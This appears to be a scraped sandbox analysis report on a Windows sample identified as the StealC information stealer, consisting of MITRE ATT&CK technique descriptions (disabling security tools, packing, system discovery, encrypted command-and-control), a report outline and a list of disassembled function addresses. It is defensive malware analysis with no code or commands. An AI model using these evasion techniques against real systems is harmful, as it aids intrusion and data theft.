Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

Windows Analysis Report
file.exe

Function 00139860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 001245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00124880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00139C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00126280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00135510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 001317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00137500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 001369F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00121220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00136AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 001247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 001351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON